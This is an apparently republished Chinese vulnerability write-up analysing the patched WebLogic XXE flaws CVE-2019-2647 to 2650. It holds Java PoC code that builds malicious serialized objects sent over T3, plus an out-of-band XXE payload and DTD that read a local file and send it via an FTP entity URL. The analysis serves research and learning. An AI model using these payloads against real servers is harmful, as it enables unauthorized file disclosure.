WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

栏目: Java · 发布时间: 6年前

内容简介:作者:Longofo@知道创宇404实验室时间:2019年4月26日Oracle发布了4月份的补丁,详情见链接(

作者:Longofo@知道创宇404实验室

时间:2019年4月26日

Oracle发布了4月份的补丁,详情见链接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW )

@xxlegend在 《Weblogic CVE-2019-2647等相关XXE漏洞分析》 分析了其中的一个XXE漏洞点,并给出了PoC。刚入手 java 不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。

补丁分析,找到漏洞点

根据JAVA常见XXE写法与防御方式(参考 https://blog.spoock.com/2018/10/23/java-xxe/ ),通过对比补丁,发现新补丁以下四处进行了 setFeature 操作:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

应该就是对应的四个CVE了,其中 ForeignRecoveryContext @xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点

分析环境

  • Windows 10
  • WebLogic 10.3.6.0
  • Jdk160_29(WebLogic 10.3.6.0自带的JDK)

WsrmServerPayloadContext 漏洞点分析

WsrmServerPayloadContext 修复后的代码如下:

package weblogic.wsee.reliability;
import ...

public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }

        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...

            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);

            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();

                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }

           ...
        }
}

可以看到进行了 setFeature 操作防止xxe攻击,而未打补丁之前是没有进行 setFeature 操作的

readExternal 在反序列化对象时会被调用,与之对应的 writeExternal 在序列化对象时会被调用,看下 writeExternal 的逻辑:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

var1 就是 this.formENdpt ,注意 var5.serialize 可以传入三种类型的对象, var1.getEndptElement() 返回的是 Element 对象,先尝试新建一个项目构造一下 PoC :

结构如下

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override
        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工厂中获得DOM解析器
                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //创建文档树模型对象
                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

发现DOCTYPE无法被引入

我尝试了下面几种方法:

  • 在上面说到 var5.serialize 可以传入 Document 对象,测试了下,的确可以,但是如何使 getEndptElement 返回一个 Document 对象呢?

    • 尝试了自己创建一个 EndpointReference 类,修改 getEndptElement 返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类 package 与原来的不同,所以失败了
    • 尝试像 Python 那样动态替换一个类的方法,貌似Java好像做不到...
  • 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的 modules 文件夹与 wlserver_10.3\server\lib 文件夹到另一个目录,将 wlserver_10.3\server\lib\weblogic.jar 解压,将 WsrmServerPayloadContext.class 类删除,重新压缩为 weblogic.Jar ,然后新建一个项目,引入需要的Jar文件( moduleswlserver_10.3\server\lib 中所有的Jar包),然后新建一个与 WsrmServerPayloadContext.class 同样的包名,在其中新建 WsrmServerPayloadContext.class 类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对 readExternal 反序列化没有影响)。

    WsrmServerPayloadContext.class 修改的内容如下:

    WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

  • 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始 WsrmServerPayloadContext.class 类同样的包名,然后进行修改,修改内容与第二种方式一样

    WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

    测试这种方式也是可行的,比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

查看下新生成的xxe十六进制:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

DOCTYPE被写入了

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据: WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在 dbBuilder.parse 时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):

<!ENTITY % all
"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;

运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

%dtd;%send; 居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。

尝试debug看下:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

可以看到 %dtd;%send; 确实是被处理掉了

测试下正常的加载外部数据,my.dtd改为如下:

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;

gen.xml为:

<?xml version="1.0" encoding="UTF-8"?>

debug看下:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

可以看到 %dtd;%send; 被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个 EntityScanner ,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。

所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

运行PoC测试下,

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了

UnknownMsgHeader 漏洞点分析

WsrmServerPayloadContext 差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造

新建 UnknownMsgHeader 类,修改 writeExternal

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

PoC如下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {
        QName qname = new QName("a", "b", "c");
        Element xmlHeader = null;

        UnknownMsgHeader umh = new UnknownMsgHeader();
        try {
            Field f1 = umh.getClass().getDeclaredField("qname");
            f1.setAccessible(true);
            f1.set(umh, qname);

            Field f2 = umh.getClass().getDeclaredField("xmlHeader");
            f2.setAccessible(true);
            f2.set(umh, xmlHeader);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return umh;
    }
}

运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WsrmSequenceContext 漏洞点分析

这个类看似需要构造的东西挺多的, readExternalwriteExternal 的逻辑也比前两个复杂些,但是PoC构造也很容易

新建 WsrmSequenceContext 类,修改

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

PoC如下:

public class WeblogicXXE3 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {

        EndpointReference acksTo = new EndpointReference();


        WsrmSequenceContext wsc = new WsrmSequenceContext();
        try {
            Field f1 = wsc.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(wsc, acksTo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wsc;
    }
}

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

最后

好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Design Accessible Web Sites

Design Accessible Web Sites

Jeremy Sydik / Pragmatic Bookshelf / 2007-11-05 / USD 34.95

It's not a one-browser web anymore. You need to reach audiences that use cell phones, PDAs, game consoles, or other "alternative" browsers, as well as users with disabilities. Legal requirements for a......一起来看看 《Design Accessible Web Sites》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具